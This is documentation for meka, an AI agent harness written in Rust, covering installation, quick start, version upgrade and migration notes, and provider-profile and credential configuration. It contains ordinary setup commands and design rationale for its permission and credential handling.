Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Introduction

meka is a general-purpose AI agent harness, the layer that wraps a large language model with everything it needs to act as an autonomous agent: a tool set, working memory, context management, persistent sessions, a permission model, and several ways to drive it. You bring a model (Claude or OpenAI, API key or subscription); meka turns it into an agent that can read and edit files, run commands, search the web, call MCP servers, and delegate to sub-agents to get real work done.

The name reflects the design: the model is the pilot, and meka is the mech it operates. The pilot (provider/model) is swappable; the harness around it stays the same.

meka [r] > find all Rust files in this project and count the lines of code

You describe the goal in natural language and the agent decides which tools to use to reach it.

Use It However You Work

The same agent core is exposed through four front-ends:

  • Interactive: a permission-gated REPL for conversational work in your terminal
  • One-shot: meka "..." for scripts, pipelines, and CI
  • Editor (ACP): run as an Agent Client Protocol agent inside editors like Zed
  • HTTP service: meka serve exposes the agent over HTTP+JSON for bots, web UIs, and other programs

What the Harness Provides

  • Built-in tools: file read/write/edit, glob search, regex content search (ripgrep), web fetch, web search, and shell command execution
  • Pluggable providers: anthropic-messages, claude-subscription, openai-chat-completions, openai-responses, chatgpt-subscription, and any endpoint serving one of those protocols
  • MCP support: extend the agent with tools, resources, and prompts from external MCP servers
  • Permission model: control what the agent can do (none/read/workspace/ask/unrestricted), switchable mid-session
  • Sessions: conversations persisted in SQLite; resume, export, or compact any session
  • Working memory: a session-scoped scratchpad for intermediate results that stays out of the context window
  • Sub-agents: delegate research or analysis to sub-agents that can orchestrate their own sub-agent teams and be run at a restricted permission level
  • Skills: load reusable, user-authored instruction packages on demand
  • Context management: automatic compaction keeps long sessions under the model’s context limit
  • Extended thinking: anthropic-messages and claude-subscription support extended thinking for complex reasoning

How It Works

  1. You give meka a goal in natural language, interactively, one-shot, over ACP, or over HTTP.
  2. meka sends it to the configured model along with a system prompt, the tool schemas, and a context block describing the current permission level, working directory, tools, and skills.
  3. The model decides which tools to call (if any) and returns text and/or tool calls.
  4. meka enforces the current permission level, executes the tool calls, and feeds the results back to the model.
  5. The loop repeats until the model is done; the final response is returned (streamed as Markdown in the terminal).

Installation

meka is written in Rust and builds as a single binary.

Pre-Built Binaries

Download the latest release for your platform from the GitHub Releases page.

PlatformArchive
Linux (x86_64)meka-linux-amd64.tar.gz
macOS (Apple Silicon)meka-macos-arm64.tar.gz
Windows (x86_64)meka-windows-amd64.zip

Extract the binary and place it somewhere on your $PATH:

# Linux/macOS
tar -xzf meka-*.tar.gz
cp meka ~/.local/bin/

Container

Every tagged release publishes an image to the GitHub Container Registry:

docker run --rm -it ghcr.io/k4yt3x/meka:latest --help

The image carries the binary and nothing else, so a session inside it starts with no config and no database. Mount both to reach an existing setup:

docker run --rm -it \
    -v ~/.config/meka:/root/.config/meka:ro \
    -v ~/.local/share/meka:/root/.local/share/meka:rw \
    ghcr.io/k4yt3x/meka:latest

The data directory has to be writable: it holds meka.db, which is where sessions and every credential live.

mekabox

contrib/container/mekabox does that mounting for you, against a stock archlinux:latest with your host binary bind-mounted in, and starts the agent at unrestricted with instructions saying it may install whatever the task needs. It is the answer to “let it do anything, just not to my machine”: the container is disposable and the host config is mounted read-only. It picks podman over docker when both are present.

Cargo Install

If you have Rust installed, you can install meka directly from the Git repository:

cargo install --locked --git https://github.com/k4yt3x/meka.git

This builds the latest version from source and installs it to ~/.cargo/bin/.

Building from Source

Prerequisites

  • Rust 1.95 or newer, the version Cargo.toml declares
  • A C compiler (for the bundled SQLite)

Build

git clone https://github.com/k4yt3x/meka.git
cd meka
cargo build --release

The binary will be at target/release/meka. Copy it somewhere on your $PATH:

cp target/release/meka ~/.local/bin/

Verify

meka --version
meka --help

Quick Start

1. Add a Provider

Before the first run, configure a provider profile. meka provider add runs the right credential flow (OAuth login or API-key prompt) and writes the profile to ~/.config/meka/config.toml:

# Claude Code subscription (OAuth)
meka provider add work --type claude-subscription --model claude-opus-5

# or a Claude API key
meka provider add work --type anthropic-messages --model claude-opus-5

# or OpenAI
meka provider add work --type openai-chat-completions --model gpt-5.6-sol

add prompts for any of --type / --model you omit, acquires the secret (browser OAuth for claude-subscription / chatgpt-subscription, an API-key prompt otherwise), stores it in the database, and makes the profile the default. Add more profiles later and switch with meka provider use <name> or the per-run --provider <name> flag.

If you launch meka with no provider configured, it errors and tells you to run meka provider add. See Configuration for all options and the full meka provider reference.

2. Start Using meka

After setup, you will see a prompt:

meka [r] >

The [r] indicates read permission mode (the default). The agent can read files, search, and run shell commands in a sandbox that blocks writes. It cannot modify your files.

3. Ask It Something

meka [r] > what files are in the current directory?

The agent will use the find_files tool to list files and describe them.

4. Enable Workspace Mode

Press Shift+Tab to cycle the permission to workspace, where the agent may write inside your working directory:

meka [w] >

Now it can modify files too, and its shell may write inside the same boundary:

meka [w] > create a file called hello.txt with the text "hello world"

5. One-Shot Mode

For quick tasks without entering the interactive shell:

meka --oneshot "what is my current working directory?"

The process exits after the agent responds. Without --oneshot the same prompt runs as the first turn and then drops you into the interactive shell.

6. Continue a Previous Session

To pick up where you left off, continue the last session:

meka -c

Or resume a specific session by its UUID:

meka -r 550e8400-e29b-41d4-a716-446655440000

See Sessions for more details.

Upgrading

Most upgrades are a binary swap: replace the old executable with the new one and carry on. This page covers the ones that are not.

0.43 to 0.44

A binary swap, and the store migrates itself as promised below, unless you authenticate an MCP server with auth_token or client_secret, which are no longer config keys. Read the next section first if you do; meka will refuse to start otherwise. Then the behaviour changes below, worth reading before you resume an existing session or run a scripted meka, several of which apply only if you run meka serve or meka acp.

MCP secrets moved out of config.toml. auth_token on a server, and client_secret in a [mcp.servers.auth] block, are gone. Both were secrets sitting in a plaintext file people commit and sync; they now live in meka’s database beside the OAuth tokens, which is where provider credentials have always been.

meka cannot move them for you. The store migrates itself because it has a ledger recording what it has already done; config.toml has none and may be older or newer than the binary at any moment, so a key left behind is a parse error naming the key and the line rather than a value silently ignored:

$ meka mcp list
Error: database error: schema migration 3 ('sessions_name_their_provider') failed: Invalid
parameter name: cannot record a provider for 4 carried-forward session(s) while config.toml
cannot be read; fix the file and start meka again. The store is unchanged

The parse error itself is a warning just above it, naming the key and the line:

WARN meka: config.toml could not be read, so this run cannot say which profile anything should
adopt: configuration error: failed to parse …/config.toml: TOML parse error at line 12, column 1
   |
12 | auth_token = "…"
   | ^^^^^^^^^^
unknown field `auth_token`, expected one of `name`, `transport`, …

Two messages because two things are stuck: the file will not parse, and the migration that has to name a profile for your existing sessions cannot ask it which one. Fixing the file fixes both, and nothing has been written in the meantime – “The store is unchanged” is literal, and the copy taken before the attempt is still beside your store. (On an installation with no sessions to carry forward, only the parse error appears.)

For each server, delete the line and store the secret instead. Which command depends on which key you deleted, and the two are alternatives, not a sequence: a bearer belongs to a server with no [auth] block, a client secret to one that has it.

$ # for a server whose `auth_token` you deleted (no [auth] block):
$ pass show api-token | meka mcp login api --auth-token-stdin

$ # for a server whose [auth] block's `client_secret` you deleted:
$ pass show acme-secret | meka mcp login acme --client-secret-stdin

meka mcp get <name> then lists the kinds it holds without printing any of them. --auth-token and --client-secret are gone from meka mcp add for the same reason: an argument is visible in ps output and in the shell history of every user on the machine. Use the -stdin forms, which add also takes.

If you were using auth_token = "${API_TOKEN}" to keep the token out of the file, a header does the same job and still expands: headers = { Authorization = "Bearer ${API_TOKEN}" }. Storing it is the better answer, since it survives without the variable being set.

Nothing else about a server moves. env, args and headers stay in config.toml with ${VAR} expansion, because they configure a process or a request and merely may contain a secret.

isolated scheduled jobs are gone; every job fires in the session that created it. The mode ran a job’s turn in a fresh session rather than the conversation that made it, to avoid replaying that conversation’s history. Only meka serve ever honoured it: the REPL and ACP already ran such a job in the open conversation, with a warning, so for two of the three hosts nothing changes at all.

Existing jobs are not deleted and do not need touching. The store drops the column and the job keeps its schedule and its prompt, firing into the session it belongs to from then on.

What it cost is why it went. The fire inherited the creating session’s authority (its permission level, its working directory, its provider profile, its MCP servers) and dropped the conversation, which is where anything you told the agent that never reached a memory or an instructions file lives. Its result landed in a session nothing linked to, and the turn could not even cancel its own job, because schedule_cancel resolves against the session it is running in.

meka acp and meka serve clients: POST /v1/sessions/{id}/schedule now rejects isolated with a 422 naming the field, rather than accepting and ignoring it. GET /v1/schedule and the schedule.fired webhook no longer carry it either.

If you were relying on the mode, an external timer does the same job with the level and profile stated outright instead of inherited:

meka --oneshot --permission read --provider work "summarise today's alerts"

Often a gate is the better answer: it means a frequent job takes no turn at all on the ticks where nothing happened, which saves more than skipping the history did.

A session another one spawned is driven only by its parent. POST /v1/sessions/{id}/turn answers 422 for a sub-agent’s id, meka -r <worker-id> refuses by name, and a scheduled fire aimed at one does the same. Both agent builders now check, rather than the scheduling door alone.

What this closes is that a worker’s restrictions live in its spawn record, which those builders never read: the [subagents] denials it was created under, its memory and instruction grants, and the permission ceiling its spawn call set. Driving one from a host therefore ran a conversation that was deliberately given narrow tools with the full built-in set at the host’s level. agent_followup was and remains the door that reconstructs those terms, so nothing meka does for you changes.

Reading a worker is untouched: meka session export, GET /v1/sessions/{id}/messages and meka session list --include-children all still serve it.

Forking one does not promote it, and that is the other half of the change. A fork of a sub-agent now carries parent_session_id and the spawn terms, so the copy is a sibling under the same parent rather than a new root; without that, POST /v1/sessions/{id}/fork was a one-call way around the refusal above, handing back a live session over a worker’s whole conversation with none of the terms it was spawned under. The two doors that have to hand back a live session therefore refuse a sub-agent’s id up front: POST /v1/sessions/{id}/fork answers 422, and ACP’s session/fork answers InvalidParams. meka session fork still makes the copy: it takes no runtime, and the copy is readable like any other worker. Forking an ordinary session is unchanged. If you want a worker’s conversation as a top-level session of your own, copy the text out rather than expecting a command to promote it.

meka session list --long is gone, along with the columns it showed. If a script parses that output, it needs updating; the default columns are unchanged.

/cd with no argument returns to the directory meka was launched from, not $HOME. /cd ~ still goes home. The old behaviour made a bare /cd a surprising way to leave the project you were working in.

render_mode = "silent" is gone, as are --render-mode silent and MEKA_RENDER_MODE=silent. Delete the setting: termimad is the default.

A config still carrying it fails to parse, naming the value and the line, and --render-mode silent is refused by clap. MEKA_RENDER_MODE=silent is the quiet one: an unreadable value there has always been dropped in favour of the next source, so it falls through to your config file or the default rather than saying anything.

It never did what it says. It suppressed the model’s answer and nothing else, so a run under it printed the session id, the reasoning line, tool indicators, todo lists, notices and token usage, and dropped the one thing you were waiting for. Both things it might plausibly have meant are shell redirections that already work, and work the right way round: meka … 2>/dev/null keeps the answer and drops the chrome, meka … >/dev/null 2>&1 drops both.

SSE thinking.delta now carries one chunk of reasoning per event. It used to send one event per completed block, so a client that opted into supports_reasoning_stream and rendered each event as a whole block will now show fragments. Concatenate the deltas to rebuild the block, exactly as you already do for assistant_text.delta. A client that concatenated needs no change, and one that never set the capability sees nothing new. A turn the provider answered without streaming still arrives as a single delta, so there are no two shapes to tell apart, and stream: false still reports each block whole in thinking.

One consequence worth planning for: a session receiving reasoning gives up its retry on a transient provider failure, because the deltas have already reached you and a second attempt would repeat them. Leave supports_reasoning_stream off if you would rather have the retry.

meka session delete refuses ids given alongside --all. It used to take both and quietly do the wider thing, so meka session delete "$ID" --all with $ID unset deleted every session and then reported the empty id as a failure – a complete wipe reported as an error. Naming sessions and asking for all of them are two different requests; say one or the other. --older-than-days has conflicted with both for the same reason since 0.44.

Every command taking a session, job or task id now accepts a unique prefix of one, which is what the listings print. Full ids still work, so nothing that already worked stops. An ambiguous prefix is refused with the candidates named, and an empty one matches nothing rather than the only row – meka schedule cancel "$JOB" with $JOB unset used to cancel whatever job was alone.

meka mcp logout <name> clears every credential that server holds, not only its OAuth tokens. If you were using it to drop a stale token from a server that also has a stored bearer or client secret, you will now need to store that again with meka mcp login.

A scheduled job is refused on a sub-agent session. POST /v1/sessions/{id}/schedule answers 422 if the session was spawned by another. Sub-agents never had the schedule_* tools, so no job meka created can be affected; what this closes is a client planting one directly, which would have woken the worker without the tool restrictions or memory grants it was spawned under.

ACP session/load and session/resume refuse a sub-agent’s id. Both used to take the session’s lock, rewrite its cwd, retire its background work and replace its roots before failing with Internal error; both now decline with InvalidParams before touching anything, naming the parent to use agent_followup from. An editor that stored a worker’s id from session/list gets a clear refusal instead of a mutated row and an opaque failure. Over HTTP the same holds for every write-side endpoint: POST /v1/sessions/{id}/turn and its neighbours refuse before taking the worker’s lock or marking its background tasks interrupted.

A session that carries spawn terms is refused even when its parent is not in the store. That shape has one source, and it is a pair of documented commands: meka session export <worker> --format json followed by meka session import. The archive’s parent_id points outside it, so the import re-roots the row while copying the spawn terms faithfully. The result reads as a sub-agent’s conversation to every door, so meka -r on it, and POST /turn, /fork, /schedule and PATCH against it over HTTP, all refuse. meka -c skips it and meka session list shows it only under --include-children, both so nothing offers you a session it will then decline. If you were using export-then-import to promote a worker into a standalone session, that no longer works; there is no supported replacement, because the tools and permission ceiling a worker ran under live in the terms its parent set and nothing outside that parent can reconstruct them. The conversation itself stays fully readable, and importing a whole tree – the root and its workers together – is unaffected, since each child keeps its parent.

This upgrade deletes the pre-migration copy 0.43 left, and keeps one from now on. Before it migrates, meka copies the store aside; until now nothing removed those, so a full duplicate of your whole history accumulated per schema-changing release. From 0.44 a fresh copy supersedes the one before it. In practice that means meka.db.v1.bak in your data directory, the copy of your pre-0.43 store, is removed on this upgrade and replaced by a copy of your pre-0.44 one. If you want the older file, move it somewhere else before upgrading.

Two things worth knowing about what is kept. Peak disk during an upgrade is higher than the steady state, because the new copy is written before the old ones go: budget for the store plus every copy already beside it plus one more, and expect to settle back at twice the store. And the copy is taken per schema-changing upgrade, not per release, so one file can span several versions if you skip some.

What keeping only the newest copy costs, stated plainly. The copy you hold is of the store after the migration before this one. So it undoes the most recent conversion and nothing earlier: if a migration converts something wrongly, you do not notice, and you then take another schema-changing upgrade, the only copy predating the fault is gone. That is a real limitation rather than a technicality, and it is the reason to move a copy of your own aside if a particular upgrade worries you. It is accepted because the alternative was an unbounded pile of full-size duplicates, whose cost is certain where this one is conditional on a bug outliving a release.

A resume now starts at the level the session recorded. Both CLI hosts do this: the REPL and meka --oneshot -c / -r. The scripted one is where a silent change matters most, since a --oneshot run that passes no --permission used to start at the config default and now starts at whatever the session was last set to. A session you created with --permission unrestricted comes back at unrestricted without the flag. Before, the row said one thing and the run did another; every other surface already read the row, and these two were the ones that did not. Pass --permission on the resume to move it. A level that is no longer in [permissions].enabled is not granted: the session drops to the configured default with a warning.

A session now runs on the provider profile it was created with. Every existing session is recorded as running on your current default profile, which is what they were in fact running on, so nothing moves. From here meka -p openai then meka -c stays on openai. If nothing could be resolved when the migration ran (no profile configured yet), sessions are left without one and say so; resume such a session once with --provider <name> to record it. The migration says which profile it recorded and on how many sessions; run once with -v if you want to see it.

A 502 from meka serve now carries the provider’s own response text, as a provider_response member on the Problem Detail. It used to be withheld and written only to the server log.

The reason for the change is that the redaction defended less than it appeared to: meka acp has always handed the same text to its client, so withholding it on HTTP left the text just as public while making the one surface quieter. What it cost was the upstream’s error type, which is the one part of a failed turn a client can act on.

Know who can read it before you leave it on. An upstream refusal can name your provider account, your organisation, and your rate-limit posture. Submitting a turn takes sessions:w, but the failure is also carried by the terminal turn.failed event, and re-attaching to a stream takes only sessions:r – so a read-only token sees it too. If you issue read-only tokens to people who may observe a session but are not entitled to the account behind it, set [serve] relay_provider_errors = false. Nothing else changes: detail carries the same sentence either way, and with the key off the member is simply absent.

The 503 for a required MCP server that is down is not affected and still reports only the server names. That reason is meka’s own subprocess text and has carried a command line and its filesystem path, which is a different disclosure and not one this key governs.

GET /v1/info no longer returns provider or model. Read them from GET /v1/providers instead, which lists every configured profile with its name, its type (the backend), its model, and active: true on the one a session gets when it names none. The old fields held the default profile’s backend under the name provider, while provider on POST /v1/sessions names a profile, so a client that read one and posted it to the other got a 422. They were duplicates of the active row besides.

If you ran a 0.44 development build, your store repairs itself on the next run. One such build removed a migration from the middle of the ledger instead of appending its reversal. user_version is a positional index, so that renumbered every later step, and a store sitting between the hole and the new head skipped a step it had never run while stamping itself current. The symptom was every MCP connection failing with no such table: mcp_credentials after a migration that reported success.

Nothing is needed from you: an appended step recreates the table and carries the old MCP credentials into it, because a store already stamped past the missed step is only reachable by appending. Released 0.43 stores were never affected; they sit at the baseline and migrate straight through.

--model, --base-url, --thinking and --thinking-budget are gone. A provider profile is an indivisible bundle: the backend, the endpoint, the credential keyed to it, the model, and every model-tied setting. A session selects one by name and records that name. A flag that moved one field of the bundle left the rest behind, so --model against a profile stating context_window = 1000000 ran a 200K model while gauging its context against a 1M window, and never auto-compacted.

Change a setting on the profile:

meka provider set work model claude-opus-5
meka provider set work effort --unset

Or make a second profile and select it with --provider, which is now the only provider flag on a run. meka provider add has a flag for every profile field except device_id, which meka resolves and persists itself, so one command creates a whole profile:

printf '%s' "$ANTHROPIC_API_KEY" | meka provider add fast \
    --type anthropic-messages --model claude-haiku-4-5 \
    --context-window 200000 --api-key-stdin

The thinking budget is per profile. [providers.<name>].thinking_budget takes precedence over [thinking].budget_tokens, which stays as the installation-wide fallback and needs no edit. The global was previously cross-checked against a per-profile max_output_tokens, so a profile could be refused over a number stated nowhere in it, and told to fix it by lowering a value every other profile also read.

meka acp and meka serve refuse -c and -r. Both name one run’s session, and a long-lived host has no such thing: it creates one per session/new or per POST /v1/sessions, each naming its own profile. They used to be accepted and quietly misapplied: -c / -r switched off the default-profile check a host with no default needs most. Over HTTP, name a provider on POST /v1/sessions; under ACP, session/new creates on the host’s default and session/set_config_option moves it. --provider is still accepted, because it selects which configured profile the host defaults to, which is a property of the host rather than of one session.

Also on the HTTP side, and not a break: PATCH /v1/sessions/{id} with a body naming only a provider now works on a session that is not loaded, which is how you move one whose profile has left config.toml. It takes the session lock to do it, so if you run more than one meka on the same store, send it to whichever process has the session; another one answers 409 session-locked rather than moving a row the running host would ignore.

0.42 to 0.43

Nothing to do. Start 0.43 and it brings the store forward itself, on the first open, before anything reads it.

This is the first release that migrates its own store, and from here on that is the rule: upgrades from 0.43 onward are a binary swap, whatever the schema does.

What it changes, if you want to know what happened. A scheduled job’s gate used to be two columns, gate_command and gate_fire; it is now gate_kind plus a JSON gate_spec, which is what lets a gate call a read-only tool instead of a shell command. And a due job is now claimed by leasing it rather than by consuming its row, which adds claimed_by, claimed_until and attempts, so a host that crashes mid-delivery no longer loses the occurrence, or for a one-shot the whole job. Each gate’s stored baseline is preserved, so a changed gate does not fire spuriously on its first evaluation afterwards.

Before it writes anything, meka copies the store to meka.db.v1.bak beside it. That doubles the space the store takes until you delete it, which is worth knowing if yours is large. Start with -v once if you want the exact path in the log; the copy is otherwise silent. It records the version it was taken at, so if you ever restore it, the next start migrates it again correctly rather than mistaking it for a store that is already current.

The whole thing is one transaction, so an interruption leaves the store exactly as it was rather than half-converted. Running two hosts at once is fine: the first takes the schema lock and the second waits, then finds nothing to do.

Coming from 0.41 or older, run migrate-0.41-to-0.42.py once first, as described below. 0.43 recognises a 0.41-shaped store and refuses it by name rather than converting it into something still unreadable, and it changes nothing when it does.

A gate that cannot be read

Rare, and worth knowing the shape of. If a job’s gate was already unreadable under 0.42 (a hand-edited row, or a gate_fire value meka never wrote), it cannot be converted, because there is nothing to convert it from. Such a job never fired under 0.42, and it does not fire under 0.43 either: the migration leaves it in the same refused state rather than guessing at what it meant or deleting it. It is logged once, by id, at warn.

The consequence is that the row stays inert and invisible, as it already was: it will not appear in meka schedule list and meka schedule cancel cannot reach it. Recreate the job if you still want it. The original row is in the backup 0.43 took, meka.db.v1.bak. Note that from 0.44 a later schema-changing upgrade deletes that file, so put a copy somewhere of your own if you want to keep it.

0.41 to 0.42

A store written by 0.41 needs five conversions before 0.42 reads all of it. They are performed by migrate-0.41-to-0.42.py, a one-shot script attached as an asset to the 0.42 release. Download it, run it once, and you are done with it.

This one stays a script, and 0.43’s own store migration does not replace it: 0.42 carried no migration code to reach back with, and conversion B below has to guess. 0.41 recorded nothing about which provider a thinking block came from, so the script tells them apart by the shape of the blob, and it reports what it read before it writes. A guess wants a human reading the counts, which is the one thing a migration that runs on every start cannot offer.

Order

  1. Run 0.41 once, before you replace it. It brings a store from an older release fully up to date; 0.42 carries no migration code and cannot.
  2. Install 0.42 and launch it once. This is what creates the tables the script writes into, so it is not an arbitrary step you can move: run the script against a database that predates 0.42 and it stops with an explanation rather than guessing.
  3. Run the script, first as a dry run, then with --apply.
python3 migrate-0.41-to-0.42.py            # reports what it would change; writes nothing
python3 migrate-0.41-to-0.42.py --apply    # does it

Read the dry run before you apply it. Conversion B in particular reports how many thinking blocks it read as Claude’s and how many as OpenAI’s, and 0.41 did not record which was which. If those counts do not match the providers you actually used, stop: the blocks it could not place are left alone, but the ones it places wrongly are not recoverable from the row afterwards.

The dry run is the only place to read that. Its per-class counts and its warning about a session holding both kinds describe the write it is about to do, so once the blocks are converted a later run has nothing left to report about them.

Between steps 2 and 3 the store is live but incomplete: memories are absent from the agent’s index, and any session affected by conversion E below is already broken. Step 3 is part of the upgrade rather than cleanup to get to later.

The script finds meka’s own directories by default, honouring MEKA_CONFIG_DIR and MEKA_DATA_DIR; --root, --skills-root and --database point it at a copy instead. --self-test checks the script against its own fixtures and exits, touching nothing of yours.

What it converts

ConversionWhat it changesIf you skip it
A. MemoriesThe Markdown files under <config>/memory/ become rows in the database’s memories table, which is where 0.42 reads memories from. The files are read, never written or deleted.The memories are simply not there. The files are untouched on disk, so nothing is lost and the import still works whenever you get to it.
B. Thinking blocksA stored block’s bare signature becomes an opaque object naming which provider it belongs to: signed for a Claude signature, sealed for OpenAI’s encrypted reasoning. 0.41 wrote both to the same field and recorded nothing about which was which, so the script tells them apart by the shape of the blob and reports the counts before it writes. A blob it does not recognise is left exactly as it is.The block loses its opaque half, so that reasoning stops being replayed to the provider. The session still loads and still runs; it just resumes without the chain of thought behind those turns.
C. A skill’s version: / author:Both move from the top level of a SKILL.md’s frontmatter under metadata:, keeping their names, which is where the Agent Skills spec puts them.Nothing. meka reads a top-level version: and author: permanently, because Claude Code’s plugin skills declare version: there. This conversion is cosmetic.
D. A skill’s priority:Moves under metadata: and is renamed to meka-priority:.The skill silently drops to the default rank of 5. A rank is read from metadata.meka-priority and nowhere else, so the [Skills] index comes out in a different order and its cap drops different skills. Nothing warns.
E. A stored tool_resultContent held as a bare JSON string becomes a list of typed blocks, [{"type": "text", "text": ...}].The affected session breaks. The row will not deserialize, so it is dropped as the session loads, which orphans the tool_use it answered, and the provider then refuses the next turn.

The two that matter

A and B announce themselves: a memory you saved is missing from the index, or a thinking block is not replayed. Both are recoverable by running the script later.

D and E are the ones that damage silently. D changes which skills the [Skills] index shows first and which its cap drops, with nothing on screen to say the rank it used was not the one in your file. E can leave a session unusable: it loads cleanly, and then the next turn is refused by the provider because a tool_use in the history has no matching result. See Sessions if you have already met that error.

Configuration Overview

meka is configured with named provider profiles in a config file at ~/.config/meka/config.toml, plus secrets stored in the database. The quickest way to get started is to let meka provider add write both for you:

$ meka provider add work --type claude-subscription --model claude-opus-5

That command writes a [providers.work] profile to the config file, runs the OAuth login (or prompts for an API key, depending on the backend), stores the secret in the database, and makes the profile the default. The resulting config looks like:

default_provider = "work"

[providers.work]
type  = "claude-subscription"
model = "claude-opus-5"

See Config File for the full reference and the meka provider command suite.

Required Settings

To run a turn, meka needs an active provider profile that pins a backend type and model, and a stored credential for it. If no profile can be selected, or the active profile has no model or no credential, meka prints an error pointing at meka provider add / meka provider login.

SettingSourceNamed on the command line
Profile for an existing sessionThe session’s own row--provider <name>, which repins the row
Profile for a new sessiondefault_provider in config, or the sole profile--provider <name>
Backend (type)[providers.<name>].type
Model[providers.<name>].model
Every other model-tied setting[providers.<name>].*
Credential (API key / OAuth)Database, via meka provider add / login

A profile is indivisible

A profile is a named bundle: the backend, the endpoint, the credential keyed to it, the model, and every model-tied setting (context_window, vision, max_output_tokens, effort, thinking, thinking_budget, redact_thinking). A session selects one by name and records that name. Nothing overrides a field inside one.

There is deliberately no --model, --base-url, --thinking or --thinking-budget. A flag that moved one field of the bundle left the rest behind, so a session could run a 200K model while gauging its context against the 1M window its profile still stated, and never auto-compact.

To change a setting, edit the profile:

meka provider set work model claude-opus-5

To run something different, make a second profile and select it:

meka provider add fast --type anthropic-messages --model claude-haiku-4-5 --context-window 200000
meka --provider fast "quick question"

Override Layers

Provider configuration is layered as follows; higher-priority layers override lower ones:

  1. The session’s own row: the profile it was created with. A session that exists runs on what its row says, whatever default_provider later becomes.
  2. --provider <name>: on a new session this chooses what the row records; on a resume it rewrites the row, so the change holds for every later turn and from every surface. See what a resume restores.
  3. Config file: persistent profiles in ~/.config/meka/config.toml.
  4. Built-in defaults: permission defaults to read, streaming defaults to on.

There is no environment-variable tier for provider configuration; an ambient OPENAI_API_KEY or MEKA_PROVIDER has no effect (see Environment Variables).

Credential Resolution

The credential for the active profile is loaded from the database, keyed by the profile name. It is acquired interactively:

  • meka provider add <name> runs the OAuth login (claude-subscription, chatgpt-subscription) or prompts for the API key (anthropic-messages, openai-chat-completions, openai-responses) when the profile is created.
  • meka provider login <name> re-acquires it for an existing profile (rotate an API key, recover from a dead OAuth refresh token), keeping every other setting on the profile. Add --api-key-stdin to pipe the key in for scripted rotation.
  • meka provider remove <name> deletes the stored credential and the profile.

Because secrets are keyed per profile, two profiles using the same backend (for example, two Claude accounts) keep independent credentials.

Deleting a [providers.<name>] block by hand removes the settings but not the secret, which stays in the database under that name. meka provider list names any credential left that way, and meka provider remove <name> deletes it; see Leftover credentials.

Why some settings have no config key

A few things are deliberately CLI-only, with no config.toml key and no environment variable. --writable-root is the current example: which folders a run may write at workspace permission is a per-run scope, like the working directory itself, not a preference worth persisting. Writing it into a file would make the boundary depend on where the file lives rather than on what you asked for this time.

This is the same reasoning that keeps the working directory out of config, and it is the exception to “config.toml is the complete source of truth”: that rule covers persistent settings, and a per-run scope is not one.

When edits take effect

meka in the terminal reads config.toml and your instructions files at startup, so anything you change applies from the next command. A long-lived host is different: meka serve and meka acp read both once, when the process starts, and keep what they read for as long as they run.

Two consequences worth knowing:

  • meka provider add while a server is running does not reach it. The new profile is on disk and meka provider list shows it, but POST /v1/sessions and ACP’s provider picker answer “not configured” until the server is restarted. The same applies to editing an existing profile.
  • Editing your instructions files does not reach it either. They are read once and go into the cached prompt prefix that every session shares.

Restart the server to pick either up. Everything else follows a live source and needs no restart: skills are re-read per turn, memories per turn, and MCP tool lists follow the server.

A rotated credential sits between the two, and the distinction matters if you are rotating because a key leaked. meka provider login <name> from a second process is picked up without a restart by anything that builds a provider after it: newly created sessions, ones the server re-attaches after eviction, and ones explicitly repinned by PATCH /v1/sessions/{id}, session/set_config_option or /provider.

A session already resident in memory holds the provider it was built with. For an API-key profile that means it keeps presenting the old key until it is evicted ([serve] idle_timeout, 24 hours by default) or the server restarts. For the OAuth backends (claude-subscription, chatgpt-subscription) the live provider re-reads the stored bundle when it next refreshes its token, so a rotation is usually adopted sooner, but nothing makes that happen on demand.

To be certain a revoked credential is out of use, restart the host.

Config File

meka looks for a TOML configuration file at a platform-specific location:

PlatformPath
Linux~/.config/meka/config.toml ($XDG_CONFIG_HOME/meka/config.toml)
macOS~/Library/Application Support/meka/config.toml
Windows%APPDATA%\meka\config.toml

The config file is optional. If it does not exist, meka silently skips it.

meka rejects unknown keys: a typo (contex_window) or a removed key (reasoning_effort) fails the load with an error naming the offending key, rather than being silently ignored. Fix or remove the key to continue.

The commands that edit the file are exempt, so a broken config can still be repaired from the CLI: meka mcp add / remove / enable / disable and meka provider remove work on the raw document and don’t care about an unknown key elsewhere in it. Everything that reads config fails instead of answering from empty defaults, because “No MCP servers configured.” over a file full of them is indistinguishable from the truth.

Those editors only reach the keys they own, so a bad key anywhere else ([session], [permissions], a top-level typo, a raw syntax error) has to be fixed in an editor. The error names the file, line, column, and offending key.

Set the MEKA_CONFIG_DIR environment variable to override the default location entirely. The value points at the meka directory itself (contains config.toml and skills/). Useful for tests, portable installs, and isolating a per-project config from your global one.

Everything meka keeps in that directory is content you put there: config.toml, skills/, and instructions.md or instructions/ if you use them. It is safe to keep under version control. Commands that edit the config take a cross-process lock on the directory itself, as does claiming a skill store, so neither leaves a lock file behind; a write is published by renaming a short-lived config.toml.<pid>.<seq>.tmp over the target, so that name can appear for the duration of one write. If you are upgrading from a version that wrote .config.toml.lock, or .meka-store.lock inside a skill store, delete them: nothing reads or writes them any more.

Windows still writes both, because its file locks are mandatory rather than advisory: a lock held on config.toml would make the file unreadable to the command holding it, and LockFileEx refuses a directory handle outright. If you keep a meka config directory under version control on Windows, ignore .config.toml.lock and skills/.meka-store.lock.

Providers

Providers are configured as named profiles under [providers.<name>]. Each profile pins a backend type plus its model and other non-secret knobs. You can keep several profiles side by side (including multiple accounts of the same backend) and switch between them by name.

Secrets are never stored in the config file. API keys and OAuth token bundles live in meka’s database, keyed by profile name, and are acquired through the meka provider command suite (meka provider add runs the API-key prompt or the OAuth login for you). The config file holds only the non-secret settings shown below.

default_provider = "work"

[providers.work]
type  = "claude-subscription"
model = "claude-opus-5"

[providers.local]
type     = "openai-chat-completions"
base_url = "http://localhost:11434/v1"
model    = "llama3"

Selecting the active profile

For each run meka picks one profile using this precedence:

  1. --provider <name> CLI flag.
  2. default_provider in the config file.
  3. The sole profile, if exactly one is configured.

If none of these resolve (no profiles configured, or more than one with no default_provider / --provider), meka errors and points you at meka provider add / meka provider use. Resuming a session is the exception: it runs on the profile it recorded and never consults this, so an ambiguous default does not block meka -c. There is no environment-variable tier for provider selection; the config file (plus the per-run CLI flag) is the source of truth.

Timeouts

Every backend connects with a 30-second handshake deadline and fails a stream that produces nothing for five minutes, which surfaces as a retryable error rather than a hung turn.

